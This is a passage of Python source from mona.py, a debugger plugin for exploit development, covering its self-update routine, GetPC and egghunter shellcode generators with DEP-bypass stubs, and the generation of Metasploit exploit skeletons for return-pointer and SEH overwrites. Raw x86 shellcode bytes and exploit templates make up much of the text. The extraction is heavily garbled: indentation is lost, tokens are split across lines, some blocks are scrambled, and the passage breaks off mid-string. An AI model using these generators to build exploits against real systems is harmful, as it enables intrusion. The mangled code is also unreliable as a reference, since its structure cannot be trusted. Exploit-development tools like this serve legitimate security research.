thisline += "\\x" + "%02


x" % ord(content[cnt])
cnt += 1
if thiscnt != cnt:
if len(thisline) > 12:
output += thisline + "\"
" + "\n"
linecnt += 1
global ignoremodules
ignoremodules = True
headerfilename="header.txt"
objheaderfile = MnLog(headerfilename)
headerfile = objheaderfile.reset()
objheaderfile.write(output,headerfile)
ignoremodules = False
if not silent:
dbg.log("-" * 30)
dbg.logLines(output)
dbg.log("-" * 30)
dbg.log("Wrote header to %s" % headerfile)
return
#----- Update -----#
def procUpdate(args):
"""
Function to update mona and optionally windbglib to the
latest version
Arguments : none
Returns : new version of mona/windbglib (if available)
"""
updateproto = "https"
if "http" in args:
updateproto = "http"
#debugger version
imversion = __IMM__
#url
dbg.setStatusBar("Running update process...")
dbg.updateLog()
updateurl = "https://github.com/corelan/mona/raw/master/
mona.py"
if updateproto == "http":
updateurl = "http://redmine.corelan.be/projects/
mona/repository/git/revisions/master/raw/mona.py"
currentversion,currentrevision = getVersionInfo(inspect.
stack()[0][1])
u = ""
try:
u = urllib.urlretrieve(updateurl)
newversion,newrevision = getVersionInfo(u[0])
if newversion != "" and newrevision != "":
dbg.log("[+] Version compare :")
dbg.log("
Current Version : %s, Curre
nt Revision : %s" % (currentversion,currentrevision))
dbg.log("
Latest Version : %s, Latest
Revision : %s" % (newversion,newrevision))

else:
dbg.log("[-] Unable to check latest vers
ion (corrupted file ?), try again later",highlight=1)
return
except:
dbg.log("[-] Unable to check latest version (dow
nload error), run !mona update -http or try again later",highlight=1)
return
#check versions
doupdate = False
if newversion != "" and newrevision != "":
if currentversion != newversion:
doupdate = True
else:
if int(currentrevision) < int(newrevisio
n):
doupdate = True
if doupdate:
dbg.log("[+] New version available",highlight=1)
dbg.log("
Updating to %s r%s" % (newversion,n
ewrevision),highlight=1)
try:
shutil.copyfile(u[0],inspect.stack()[0][
1])
dbg.log("

Done")

dbg.log("

** Unable to update mona.py

except:
",highlight=1)
currentversion,currentrevision = getVersionInfo(
inspect.stack()[0][1])
dbg.log("[+] Current version : %s r%s" % (curren
tversion,currentrevision))
else:
dbg.log("[+] You are running the latest version"
)
# update windbglib if needed
if __DEBUGGERAPP__ == "WinDBG":
dbg.log("[+] Locating windbglib path")
paths = sys.path
filefound = False
libfile = ""
for ppath in paths:
libfile = ppath + "\\windbglib.py"
if os.path.isfile(libfile):
filefound=True
break
if not filefound:
dbg.log("
** Unable to find windbglib
.py ! **")
else:
dbg.log("[+] Checking if %s needs an upd
ate..." % libfile)
updateurl = "https://github.com/corelan/
windbglib/raw/master/windbglib.py"
if updateproto == "http":
updateurl = updateproto + "://re
dmine.corelan.be/projects/windbglib/repository/raw/windbglib.py"
currentversion,currentrevision = getVers

ionInfo(libfile)
u = ""
try:
u = urllib.urlretrieve(updateurl
)
newversion,newrevision = getVers
ionInfo(u[0])
if newversion != "" and newrevis
ion != "":
dbg.log("[+] Version com
pare :")
dbg.log("
Current Ver
sion : %s, Current Revision : %s" % (currentversion,currentrevision))
dbg.log("
Latest Vers
ion : %s, Latest Revision : %s" % (newversion,newrevision))
else:
dbg.log("[-] Unable to c
heck latest version (corrupted file ?), try again later",highlight=1)
return
except:
dbg.log("[-] Unable to check lat
est version (download error), run !mona update -http or try again later",highlig
ht=1)
return
#check versions
doupdate = False
if newversion != "" and newrevision != "
":
if currentversion != newversion:
doupdate = True
else:
if int(currentrevision)
< int(newrevision):
doupdate = True
if doupdate:
dbg.log("[+] New version availab
le",highlight=1)
dbg.log("

Updating to %s r%s"

% (newversion,newrevision),highlight=1)
try:
shutil.copyfile(u[0],lib
file)
dbg.log("

Done")

dbg.log("

** Unable t

except:
o update windbglib.py",highlight=1)
currentversion,currentrevision =
getVersionInfo(libfile)
dbg.log("[+] Current version : %
s r%s" % (currentversion,currentrevision))
else:
dbg.log("[+] You are running the
latest version")
dbg.setStatusBar("Done.")
return
#----- GetPC -----#

def procgetPC(args):
r32 = ""
output = ""
if "r" in args:
if type(args["r"]).__name__.lower() != "bool":
r32 = args["r"].lower()
if r32 == "" or not "r" in args:
dbg.log("Missing argument -r <register>",highlig
ht=1)
return
opcodes = {}
opcodes["eax"]
opcodes["ecx"]
opcodes["edx"]
opcodes["ebx"]
opcodes["esp"]
opcodes["ebp"]
opcodes["esi"]
opcodes["edi"]

=
=
=
=
=
=
=
=

calls = {}
calls["eax"]
calls["ecx"]
calls["edx"]
calls["ebx"]
calls["esp"]
calls["ebp"]
calls["esi"]
calls["edi"]

"\\xd0"
"\\xd1"
"\\xd2"
"\\xd3"
"\\xd4"
"\\xd5"
"\\xd6"
"\\xd7"

=
=
=
=
=
=
=
=

"\\x58"
"\\x59"
"\\x5a"
"\\x5b"
"\\x5c"
"\\x5d"
"\\x5e"
"\\x5f"

output = "\n" + r32 + "| jmp short back:\n\"\\xeb\\x03


" + opcodes[r32] + "\\xff" + calls[r32] + "\\xe8\\xf8\\xff\\xff\\xff\"\n"
output += r32 + "| call + 4:\n\"\\xe8\\xff\\xff\\xff\\x
ff\\xc3" + opcodes[r32] + "\"\n"
output += r32 + "| fstenv:\n\"\\xd9\\xeb\\x9b\\xd9\\x74
\\x24\\xf4" + opcodes[r32] + "\"\n"
global ignoremodules
ignoremodules = True
getpcfilename="getpc.txt"
objgetpcfile = MnLog(getpcfilename)
getpcfile = objgetpcfile.reset()
objgetpcfile.write(output,getpcfile)
ignoremodules = False
dbg.logLines(output)
dbg.log("")
dbg.log("Wrote to file %s" % getpcfile)
return
#----- Egghunter -----#
def procEgg(args):
filename = ""
egg = "w00t"
usechecksum = False
usewow64 = False
useboth = False
egg_size = 0

checksumbyte = ""
extratext = ""
global silent
oldsilent = silent
silent = True
if "f" in args:
if type(args["f"]).__name__.lower() != "bool":
filename = args["f"]
filename = filename.replace("'", "").replace("\"", "")
#Set egg
if "t" in args:
if type(args["t"]).__name__.lower() != "bool":
egg = args["t"]
if "wow64" in args:
usewow64 = True
# placeholder for later
if "both" in args:
useboth = True
if len(egg) != 4:
egg = 'w00t'
dbg.log("[+] Egg set to %s" % egg)
if "c" in args:
if filename != "":
usechecksum = True
dbg.log("[+] Hunter will include checksu
m routine")
else:
dbg.log("Option -c only works in conjunc
tion with -f <filename>",highlight=1)
return
startreg = ""
if "startreg" in args:
if isReg(args["startreg"]):
startreg = args["startreg"].lower()
dbg.log("[+] Egg will start search at %s
" % startreg)
depmethods = ["virtualprotect","copy","copy_size"]
depreg = "esi"
depsize = 0
freeregs = [ "ebx","ecx","ebp","esi" ]
regsx = {}
# 0 : mov xX
# 1 : push xX
# 2 : mov xL
# 3 : mov xH
#
regsx["eax"] = ["\x66\xb8","\x66\x50","\xb0","\xb4"]
regsx["ebx"] = ["\x66\xbb","\x66\x53","\xb3","\xb7"]

regsx["ecx"]
regsx["edx"]
regsx["esi"]
regsx["edi"]
regsx["ebp"]
regsx["esp"]

=
=
=
=
=
=

addreg = {}
addreg["eax"]
addreg["ebx"]
addreg["ecx"]
addreg["edx"]
addreg["esi"]
addreg["edi"]
addreg["ebp"]
addreg["esp"]

["\x66\xb9","\x66\x51","\xb1","\xb5"]
["\x66\xba","\x66\x52","\xb2","\xb6"]
["\x66\xbe","\x66\x56"]
["\x66\xbf","\x66\x57"]
["\x66\xbd","\x66\x55"]
["\x66\xbc","\x66\x54"]
=
=
=
=
=
=
=
=

"\x83\xc0"
"\x83\xc3"
"\x83\xc1"
"\x83\xc2"
"\x83\xc6"
"\x83\xc7"
"\x83\xc5"
"\x83\xc4"

depdest = ""
depmethod = ""
getpointer = ""
getsize = ""
getpc = ""
jmppayload = "\xff\xe7"
if "depmethod" in args:
if args["depmethod"].lower() in depmethods:
depmethod = args["depmethod"].lower()
dbg.log("[+] Hunter will include routine
to bypass DEP on found shellcode")
# other DEP related arguments ?
# depreg
# depdest
# depsize
if "depreg" in args:
if isReg(args["depreg"]):
depreg = args["depreg"].lower()
if "depdest" in args:
if isReg(args["depdest"]):
depdest = args["depdest"].lower(
)
if "depsize" in args:
try:
depsize = int(args["depsize"])
except:
dbg.log(" ** Invalid depsize",hi
ghlight=1)
return
#read payload file
data = ""
if filename != "":
try:
f = open(filename, "rb")
data = f.read()
f.close()
dbg.log("[+] Read payload file (%d bytes
)" % len(data))

except:
dbg.log("Unable to read file %s" %filena
me, highlight=1)
return
#let's start
egghunter = ""
if not usewow64:
#Basic version of egghunter
dbg.log("[+] Generating traditional 32bit egghun
ter code")
egghunter = ""
egghunter += (
"\x66\x81\xca\xff\x0f"+ #or dx,0xfff
"\x42"+
#INC EDX
"\x52"
#push edx
"\x6a\x02"
#push 2 (NtAccessCheckAndAuditAlarm syscall)
"\x58"
#pop eax
"\xcd\x2e"
#int 0x2e
"\x3c\x05"
#cmp al,5
"\x5a"
#pop edx
"\x74\xef"
#je "or dx,0xfff"
"\xb8"+egg+
#mov eax, egg
"\x8b\xfa"
#mov edi,edx
"\xaf"
#scasd
"\x75\xea"
#jne "inc edx"
"\xaf"
#scasd
"\x75\xe7"
#jne "inc edx"
)
if usewow64:
egghunter = ""
egghunter += (
# 64 stub needed before loop
"\x31\xdb"
#xor ebx,ebx
"\x53"
#push ebx
"\x53"
#push ebx
"\x53"
#push ebx
"\x53"
#push ebx

"\xb3\xc0"
#mov bl,0xc0
# 64 Loop
"\x66\x81\xCA\xFF\x0F"
#OR DX,0FFF
"\x42"
#INC EDX
"\x52"
#PUSH EDX
"\x6A\x26"
#PUSH 26
"\x58"
#POP EAX
"\x33\xC9"
#XOR ECX,ECX
"\x8B\xD4"
#MOV EDX,ESP
"\x64\xff\x13"
#CALL DWORD PTR FS:[ebx]
"\x5e"
#POP ESI
"\x5a"
#POP EDX
"\x3C\x05"
#CMP AL,5
"\x74\xe9"
#JE SHORT
"\xB8"+egg+
#MOV EAX,74303077 w00t
"\x8B\xFA"
#MOV EDI,EDX
"\xAF"
#SCAS DWORD PTR ES:[EDI]
"\x75\xe4"
#JNZ "inc edx"
"\xAF"
#SCAS DWORD PTR ES:[EDI]
"\x75\xe1"
#JNZ "inc edx"
)
if usechecksum:
dbg.log("[+] Generating checksum routine")
extratext = "+ checksum routine"
egg_size = ""
if len(data) < 256:
cmp_reg = "\x80\xf9"
#cmp cl,value
egg_size = hex2bin("%x" % len(data))
offset1 = "\xf7"
offset2 = "\xd3"
elif len(data) < 65536:
cmp_reg = "\x66\x81\xf9"
#cmp cx,
value
#avoid nulls
egg_size_normal = "%04X" % len(data)
while egg_size_normal[0:2] == "00" or eg
g_size_normal[2:4] == "00":
data += "\x90"
egg_size_normal = "%04X" % len(d

ata)
egg_size = hex2bin(egg_size_normal[2:4])
+ hex2bin(egg_size_normal[0:2])
offset1 = "\xf5"
offset2 = "\xd1"
else:
dbg.log("Cannot use checksum code with t
his payload size (way too big)",highlight=1)
return
sum = 0
for byte in data:
sum += ord(byte)
sumstr= toHex(sum)
checksumbyte = sumstr[len(sumstr)-2:len(sumstr)]
egghunter += (
"\x51"
#push ecx
"\x31\xc9"
#xor ecx,ecx
"\x31\xc0"
#xor eax,eax
"\x02\x04\x0f"
#add al,byte [edi+ecx]
"\x41"+
#inc ecx
cmp_reg + egg_size +

#cmp cx/

cl, value
"\x75" + offset1 +
#jnz "add al,byte [edi+ecx]
"\x3a\x04\x39" +
#cmp al,byte [edi+ecx]
"\x59" +
#pop ecx
"\x75" + offset2
#jnz "inc edx"
)
#dep bypass ?
if depmethod != "":
dbg.log("[+] Generating dep bypass routine")
if not depreg in freeregs:
getpointer += "mov " + freeregs[0] +","
+ depreg + "#"
depreg = freeregs[0]
freeregs.remove(depreg)
if depmethod == "copy" or depmethod == "copy_siz
e":
if depdest != "":
if not depdest in freeregs:
getpointer += "mov " + f
reeregs[0] + "," + depdest + "#"
depdest = freeregs[0]
else:
getpc = "\xd9\xee"
# fldz
getpc += "\xd9\x74\xe4\xf4"

# fstenv [esp-0c]
depdest = freeregs[0]
getpc += hex2bin(assemble("pop "
+depdest))
freeregs.remove(depdest)
sizereg = freeregs[0]
if depsize == 0:
# set depsize to payload * 2 if we are u
sing a file
depsize = len(data) * 2
if depmethod == "copy_size":
depsize = len(data)
if depsize == 0:
dbg.log("** Please specify a valid -deps
ize when you are not using -f **",highlight=1)
return
else:
if depsize <= 127:
#simply push it to the stack
getsize = "\x6a" + hex2bin("\\x"
+ toHexByte(depsize))
else:
#can we do it with 16bit reg, no
nulls ?
if depsize <= 65535:
sizeparam = toHex(depsiz
e)[4:8]
getsize = hex2bin(assemb
le("xor "+sizereg+","+sizereg))
if not (sizeparam[0:2] =
= "00" or sizeparam[2:4] == "00"):
#no nulls, hoora
y, write to xX
getsize += regsx
[sizereg][0]+hex2bin("\\x" + sizeparam[2:4] + "\\x" + sizeparam[0:2])
else:
# write the non
null if we can
if len(regsx[siz
ereg]) > 2:
if not (
sizeparam[0:2] == "00"):
# write to xH
getsize += regsx[sizereg][3] + hex2bin("\\x" + sizeparam[0:2])
if not (
sizeparam[2:4] == "00"):
# write to xL
getsize += regsx[sizereg][2] + hex2bin("\\x" + sizeparam[2:4])
else:
#we have
to write the full value to sizereg
blockcnt

= 0
vpsize =
0
blocksiz
e = depsize
while bl
ocksize >= 127:
blocksize = blocksize / 2
blockcnt += 1
if block
cnt > 0:
getsize += addreg[sizereg] + hex2bin("\\x" + toHexByte(blocksize))
vpsize = blocksize
depblockcnt = 0
while depblockcnt < blockcnt:
getsize += hex2bin(assemble("add "+sizereg+","+sizereg))
vpsize += vpsize
depblockcnt += 1
delta = depsize - vpsize
if delta > 0:
getsize += addreg[sizereg] + hex2bin("\\x" + toHexByte(delta))
else:
getsize += addreg[sizereg] + hex2bin("\\x" + toHexByte(depsize))
# finally push
getsize += hex2bin(assem
ble("push "+ sizereg))
else:
dbg.log("** Shellcode si
ze (depsize) is too big",highlight=1)
return
#finish it off
if depmethod == "virtualprotect":
jmppayload = "\x54\x6a\x40"
jmppayload += getsize
jmppayload += hex2bin(assemble("#push ed
i#push edi#push "+depreg+"#ret"))
elif depmethod == "copy":
jmppayload = hex2bin(assemble("push edi\
push "+depdest+"#push "+depdest+"#push "+depreg+"#mov edi,"+depdest+"#ret"))
elif depmethod == "copy_size":
jmppayload += getsize
jmppayload += hex2bin(assemble("push edi
#push "+depdest+"#push " + depdest + "#push "+depreg+"#mov edi,"+depdest+"#ret")
)

#jmp to payload
egghunter += getpc
egghunter += jmppayload
startat = ""
skip = ""
#start at a certain reg ?
if startreg != "":
if startreg != "edx":
startat = hex2bin(assemble("mov edx," +
startreg))
skip = "\xeb\x05"
egghunter = skip + egghunter
#pickup pointer for DEP bypass ?
egghunter = hex2bin(assemble(getpointer)) + egghunter
egghunter = startat + egghunter
silent = oldsilent
#Convert binary to printable hex format
egghunter_hex = toniceHex(egghunter.strip().replace(" ",
""),16)
global ignoremodules
ignoremodules = True
hunterfilename="egghunter.txt"
objegghunterfile = MnLog(hunterfilename)
egghunterfile = objegghunterfile.reset()
dbg.log("[+] Egghunter %s (%d bytes): " % (extratext,len
(egghunter.strip().replace(" ",""))))
dbg.logLines("%s" % egghunter_hex)
objegghunterfile.write("Egghunter " + extratext + ", tag
" + egg + " : ",egghunterfile)
objegghunterfile.write(egghunter_hex,egghunterfile)
if filename == "":
objegghunterfile.write("Put this tag in front of
your shellcode : " + egg + egg,egghunterfile)
else:
dbg.log("[+] Shellcode, with tag : ")
block = "\"" + egg + egg + "\"\n"
cnt = 0
flip = 1
thisline = "\""
while cnt < len(data):
thisline += "\\x%s" % toHexByte(ord(data
[cnt]))
if (flip == 32) or (cnt == len(data)-1):
if cnt == len(data)-1 and checks
umbyte != "":
thisline += "\\x%s" % ch
ecksumbyte
thisline += "\""
flip = 0

block += thisline
block += "\n"
thisline = "\""
cnt += 1
flip += 1
dbg.logLines(block)
objegghunterfile.write("\nShellcode, with tag :\
n",egghunterfile)
objegghunterfile.write(block,egghunterfile)
ignoremodules = False
return
#----- Find MSP ------ #
def procFindMSP(args):
distance = 0
if "distance" in args:
try:
distance = int(args["distance"])
except:
distance = 0
if distance < 0:
dbg.log("** Please provide a positive number as
distance",highlight=1)
return
mspresults = {}
mspresults = goFindMSP(distance,args)
return
def procSuggest(args):
modulecriteria={}
criteria={}
modulecriteria,criteria = args2criteria(args,modulecrite
ria,criteria)
isEIP = False
isSEH = False
isEIPUnicode = False
isSEHUnicode = False
initialoffsetSEH = 0
initialoffsetEIP = 0
shellcodesizeSEH = 0
shellcodesizeEIP = 0
nullsallowed = True
global
global
global
global
global

ignoremodules
noheader
ptr_to_get
silent
ptr_counter

targetstr = ""
exploitstr = ""
originalauthor = ""
url = ""
#are we attached to an application ?
if dbg.getDebuggedPid() == 0:

dbg.log("** You don't seem to be attached to an


application ! **",highlight=1)
return
exploittype = ""
skeletonarg = ""
usecliargs = False
validstypes ={}
validstypes["tcpclient"] = "network client (tcp)"
validstypes["udpclient"] = "network client (udp)"
validstypes["fileformat"] = "fileformat"
exploittypes = [ "fileformat","network client (tcp)","ne
twork client (udp)" ]
if __DEBUGGERAPP__ == "WinDBG" or "t" in args:
if "t" in args:
if type(args["t"]).__name__.lower() != "
bool":
skeltype = args["t"].lower()
skelparts = skeltype.split(":")
if skelparts[0] in validstypes:
exploittype = validstype
s[skelparts[0]]
if len(skelparts) > 1:
skeletonarg = sk
elparts[1]
else:
dbg.log(" ** Ple
ase specify the skeleton type AND an argument. **")
return
usecliargs = True
else:
dbg.log(" ** Please spec
ify a valid skeleton type and an argument. **")
return
else:
dbg.log(" ** Please specify a sk
eletontype using -t **",highlight=1)
return
else:
dbg.log(" ** Please specify a skeletonty
pe using -t **",highlight=1)
return
mspresults = {}
mspresults = goFindMSP(100,args)
#create metasploit skeleton file
exploitfilename="exploit.rb"
objexploitfile = MnLog(exploitfilename)
#ptr_to_get = 5
noheader = True
ignoremodules = True
exploitfile = objexploitfile.reset()
ignoremodules = False
noheader = False
dbg.log(" ")
dbg.log("[+] Preparing payload...")
dbg.log(" ")

dbg.updateLog()
#what options do we have ?
# 0 : pointer
# 1 : offset
# 2 : type
if "registers" in mspresults:
for reg in mspresults["registers"]:
if reg.upper() == "EIP":
isEIP = True
eipval = mspresults["registers"]
[reg][0]
ptrx = MnPointer(eipval)
initialoffsetEIP = mspresults["r
egisters"][reg][1]
# 0 : pointer
# 1 : offset
# 2 : type
# 3 : size
if "seh" in mspresults:
if len(mspresults["seh"]) > 0:
isSEH = True
for seh in mspresults["seh"]:
if mspresults["seh"][seh][2] ==
"unicode":
isSEHUnicode = True
if not isSEHUnicode:
initialoffsetSEH = mspre
sults["seh"][seh][1]
else:
initialoffsetSEH = mspre
sults["seh"][seh][1]
shellcodesizeSEH = mspresults["s
eh"][seh][3]
if isSEH:
ignoremodules = True
noheader = True
exploitfilename_seh="exploit_seh.rb"
objexploitfile_seh = MnLog(exploitfilename_seh)
exploitfile_seh = objexploitfile_seh.reset()
ignoremodules = False
noheader = False
# start building exploit structure
if not isEIP and not isSEH:
dbg.log(" ** Unable to suggest anything useful.
You don't seem to control EIP or SEH ** ",highlight=1)
return
# ask for type of module
if not usecliargs:
dbg.log(" ** Please select a skeleton exploit ty
pe from the dropdown list **",highlight=1)
exploittype = dbg.comboBox("Select msf exploit s
keleton to build :", exploittypes).lower().strip()
if not exploittype in exploittypes:

dbg.log("Boo - invalid exploit type, try again !


",highlight=1)
return
portnr = 0
extension = ""
if exploittype.find("network") > -1:
if usecliargs:
portnr = skeletonarg
else:
portnr = dbg.inputBox("Remote port numbe
r : ")
try:
portnr = int(portnr)
except:
portnr = 0
if exploittype.find("fileformat") > -1:
if usecliargs:
extension = skeletonarg
else:
extension = dbg.inputBox("File extension
:")
extension = extension.replace("'","").replace('"',"").re
place("\n","").replace("\r","")
if not extension.startswith("."):
extension = "." + extension
dbg.createLogWindow()
dbg.updateLog()
url = ""
badchars = ""
if "badchars" in criteria:
badchars = criteria["badchars"]
if "nonull" in criteria:
if not '\x00' in badchars:
badchars += '\x00'
skeletonheader,skeletoninit,skeletoninit2 = getSkeletonH
eader(exploittype,portnr,extension,url,badchars)
regsto = ""
if isEIP:
dbg.log("[+] Attempting to create payload for sa
ved return pointer overwrite...")
#where can we jump to - get the register that ha
s the largest buffer size
largestreg = ""
largestsize = 0
offsetreg = 0
regptr = 0
# register_to
# 0 : pointer

# 1 : offset
# 2 : size
# 3 : type
eipcriteria = criteria
modulecriteria["aslr"] = False
modulecriteria["rebase"] = False
modulecriteria["os"] = False
jmp_pointers = {}
jmppointer = 0
instrinfo = ""
if isEIPUnicode:
eipcriteria["unicode"] = True
eipcriteria["nonull"] = False
if "registers_to" in mspresults:
for reg in mspresults["registers_to"]:
regsto += reg+","
thissize = mspresults["registers
_to"][reg][2]
thisreg = reg
thisoffset = mspresults["registe
rs_to"][reg][1]
thisregptr = mspresults["registe
rs_to"][reg][0]
if thisoffset < initialoffsetEIP
:
#fix the size, which wil
l end at offset to EIP
thissize = initialoffset
EIP - thisoffset
if thissize > largestsize:
# can we find a jmp to t
hat reg ?
silent = True
ptr_counter = 0
ptr_to_get = 1
jmp_pointers = findJMP(m
odulecriteria,eipcriteria,reg.lower())
if len( jmp_pointers ) =
= 0:
ptr_counter = 0
ptr_to_get = 1
modulecriteria["
os"] = True
jmp_pointers = f
indJMP(modulecriteria,eipcriteria,reg.lower())
modulecriteria["os"] = F
alse
if len( jmp_pointers ) >
0:
largestsize = th
issize
largestreg = thi
sreg
offsetreg = this
offset
regptr = thisreg
ptr
silent = False

regsto = regsto.rstrip(",")
if largestreg == "":
dbg.log("
Payload is referenced by at
least one register (%s), but I couldn't seem to find" % regsto,highlight=1)
dbg.log("
a way to jump to that regis
ter",highlight=1)
else:
#build exploit
for ptrtype in jmp_pointers:
jmppointer = jmp_pointers[ptrtyp
e][0]
instrinfo = ptrtype
break
ptrx = MnPointer(jmppointer)
modname = ptrx.belongsTo()
targetstr = "
'Targets'
=>\n"
targetstr += "
[\n"
targetstr += "
[ '<fill in the
OS/app version here>',\n"
targetstr += "
{\n"
if not isEIPUnicode:
targetstr += "
'Ret
'
=> 0x" + toHex(jmppointer) + ", # " + instrinfo + " - " + modname + "\n"
targetstr += "
'Off
set' => " + str(initialoffsetEIP) + "\n"
else:
origptr = toHex(jmppointer)
#real unicode ?
unicodeptr = ""
transforminfo = ""
if origptr[0] == "0" and origptr
[1] == "0" and origptr[4] == "0" and origptr[5] == "0":
unicodeptr = "\"\\x" + o
rigptr[6] + origptr[7] + "\\x" + origptr[2] + origptr[3] + "\""
else:
#transform
transform = UnicodeTrans
formInfo(origptr)
transformparts = transfo
rm.split(",")
transformsubparts = tran
sformparts[0].split(" ")
origptr = transformsubpa
rts[len(transformsubparts)-1]
transforminfo = " #unico
de transformed to 0x" + toHex(jmppointer)
unicodeptr = "\"\\x" + o
rigptr[6] + origptr[7] + "\\x" + origptr[2] + origptr[3] + "\""
targetstr += "
'Ret
'
=> " + unicodeptr + "," + transforminfo + "# " + instrinfo + " - " + modn
ame + "\n"
targetstr += "
'Off
set' => " + str(initialoffsetEIP) + " #Unicode\n"
targetstr += "
targetstr += "
targetstr += "

}\n"
],\n"
],\n"

exploitstr = " def exploit\n\n"


if exploittype.find("network") > -1:
if exploittype.find("tcp") > -1:
exploitstr += "\n
con
nect\n\n"
elif exploittype.find("udp") > 1:
exploitstr += "\n

con

nect_udp\n\n"
if initialoffsetEIP < offsetreg:
# eip is before shellcode
exploitstr += "
buffer = ran
d_text(target['Offset']) \n"
if not isEIPUnicode:
exploitstr += "

buffe

r << [target.ret].pack('V') \n"


else:
exploitstr += "

buffe

r << target['Ret'] #Unicode friendly jump\n\n"


if offsetreg > initialoffsetEIP+
2:
if not isEIPUnicode:
if (offsetreg initialoffsetEIP - 4) > 0:
tr += "
junk\n"

exploits
buffer << rand_text(" + str(offsetreg - initialoffsetEIP - 4) + ") #
else:
if ((offsetreg -

initialoffsetEIP - 4)/2) > 0:


exploits
tr += "
buffer << rand_text(" + str((offsetreg - initialoffsetEIP - 4)/2) + "
) #unicode junk\n"
stackadjust = 0
if largestreg.upper() == "ESP":
if not isEIPUnicode:
exploitstr += "
buffer << Metasm::Shellcode.assemble(Metasm::Ia32.new, 'add esp,-1500').encod
e_string # avoid GetPC shellcode corruption\n"
stackadjust = 6
exploitstr += "
buffer << payload.encoded #max " + str(largestsize - stackadjust) + " bytes\
n"
if isEIPUnicode:
exploitstr += "
# Met
asploit requires double encoding for unicode : Use alpha_xxxx encoder in the pay
load section\n"
exploitstr += "
# and
then manually encode with unicode inside the exploit section :\n\n"
exploitstr += "
enc =
framework.encoders.create('x86/unicode_mixed')\n\n"
exploitstr += "
regis
ter_to_align_to = '" + largestreg.upper() + "'\n\n"
if largestreg.upper() ==
"ESP":
exploitstr += "
# Note : since you are using ESP as bufferregister, make sure EBP points to a
writeable address !\n"
exploitstr += "

# or patch the unicode decoder yourself\n"


exploitstr += "
enc.d
atastore.import_options_from_hash({ 'BufferRegister' => register_to_align_to })\
n\n"
exploitstr += "
unico
depayload = enc.encode(payload.encoded, nil, nil, platform)\n\n"
exploitstr += "
buffe
r << unicodepayload"
else:
# EIP -> jump to location before
EIP
beforeEIP = initialoffsetEIP - o
ffsetreg
if beforeEIP > 0:
if offsetreg > 0:
exploitstr += "
buffer = rand_text(" + str(offsetreg)+") #offset to " + largestreg+"\n"
exploitstr += "
buffer << payload.encoded #max " + str(initialoffsetEIP - offsetreg) + " byt
es\n"
exploitstr += "
buffer << rand_text(target['Offset'] - payload.encoded.length)\n"
exploitstr += "
buffer << [target.ret].pack('V') \n"
else:
exploitstr += "
buffer = payload.encoded #max " + str(initialoffsetEIP - offsetreg) + " byte
s\n"
exploitstr += "
buffer << rand_text(target['Offset'] - payload.encoded.length)\n"
exploitstr += "
buffer << [target.ret].pack('V') \n"
if exploittype.find("network") > -1:
exploitstr += "\n
print_statu
s(\"Trying target #{target.name}...\")\n"
if exploittype.find("tcp") > -1:
exploitstr += "
sock.
put(buffer)\n"
exploitstr += "\n
han
dler\n"
elif exploittype.find("udp") > 1:
exploitstr += "
udp_s
ock.put(buffer)\n"
exploitstr += "\n
han
dler(udp_sock)\n"
if exploittype == "fileformat":
exploitstr += "\n
file_create
(buffer)\n\n"
if exploittype.find("network") > -1:
exploitstr += "
disconnect\n\
n"
exploitstr += " end\n"
dbg.log("Metasploit 'Targets' section :"
)
dbg.log("------------------------------"
)

dbg.logLines(targetstr.replace(" ","
"))
dbg.log("")
dbg.log("Metasploit 'exploit' function :
")
dbg.log("-------------------------------")
dbg.logLines(exploitstr.replace(" ","
"))
#write skeleton
objexploitfile.write(skeletonheader+"\n"
,exploitfile)
objexploitfile.write(skeletoninit+"\n",e
xploitfile)
objexploitfile.write(targetstr,exploitfi
le)
objexploitfile.write(skeletoninit2,explo
itfile)
objexploitfile.write(exploitstr,exploitf
ile)
objexploitfile.write("end",exploitfile)
if isSEH:
dbg.log("[+] Attempting to create payload for SE
H record overwrite...")
sehcriteria = criteria
modulecriteria["safeseh"] = False
modulecriteria["rebase"] = False
modulecriteria["aslr"] = False
modulecriteria["os"] = False
sehptr = 0
instrinfo = ""
if isSEHUnicode:
sehcriteria["unicode"] = True
if "nonull" in sehcriteria:
sehcriteria.pop("nonull")
modulecriteria["safeseh"] = False
#get SEH pointers
silent = True
ptr_counter = 0
ptr_to_get = 1
seh_pointers = findSEH(modulecriteria,sehcriteri
a)
jmpback = False
silent = False
if not isSEHUnicode:
#did we find a pointer ?
if len(seh_pointers) == 0:
#did we try to avoid nulls ?
dbg.log("[+] No non-null pointer
s found, trying 'jump back' layout now...")
if "nonull" in sehcriteria:
if sehcriteria["nonull"]
== True:
sehcriteria.pop(
"nonull")
silent = True
ptr_counter = 0

ptr_to_get = 1
seh_pointers = f
indSEH(modulecriteria,sehcriteria)
silent = False
jmpback = True
if len(seh_pointers) != 0:
for ptrtypes in seh_pointers:
sehptr = seh_pointers[pt
rtypes][0]
instrinfo = ptrtypes
break
else:
if len(seh_pointers) == 0:
sehptr = 0
else:
for ptrtypes in seh_pointers:
sehptr = seh_pointers[pt
rtypes][0]
instrinfo = ptrtypes
break
if sehptr != 0:
ptrx = MnPointer(sehptr)
modname = ptrx.belongsTo()
mixin = ""
if not jmpback:
mixin += "#Don't forget to inclu
de the SEH mixin !\n"
mixin += "include Msf::Exploit::
Seh\n\n"
skeletonheader += " include Msf
::Exploit::Seh\n"
targetstr = "
targetstr += "
targetstr += "

'Targets'
=>\n"
[\n"
[ '<fill in the

OS/app version here>',\n"


targetstr += "
{\n"
if not isSEHUnicode:
targetstr += "
'Ret
'
=> 0x" + toHex(sehptr) + ", # " + instrinfo + " - " + modname + "\n"
targetstr += "
'Off
set' => " + str(initialoffsetSEH) + "\n"
else:
origptr = toHex(sehptr)
#real unicode ?
unicodeptr = ""
transforminfo = ""
if origptr[0] == "0" and origptr
[1] == "0" and origptr[4] == "0" and origptr[5] == "0":
unicodeptr = "\"\\x" + o
rigptr[6] + origptr[7] + "\\x" + origptr[2] + origptr[3] + "\""
else:
#transform
transform = UnicodeTrans
formInfo(origptr)
transformparts = transfo
rm.split(",")
transformsubparts = tran
sformparts[0].split(" ")

origptr = transformsubpa
rts[len(transformsubparts)-1]
transforminfo = " #unico
de transformed to 0x" + toHex(sehptr)
unicodeptr = "\"\\x" + o
rigptr[6] + origptr[7] + "\\x" + origptr[2] + origptr[3] + "\""
targetstr += "
'Ret
'
=> " + unicodeptr + "," + transforminfo + " # " + instrinfo + " - " + mod
name + "\n"
targetstr += "
'Off
set' => " + str(initialoffsetSEH) + " #Unicode\n"
targetstr += "
}\n"
targetstr += "
],\n"
targetstr += "
],\n"
exploitstr = " def exploit\n\n"
if exploittype.find("network") > -1:
exploitstr += "\n
connect\n\n
"
if not isSEHUnicode:
if not jmpback:
exploitstr += "
buffe
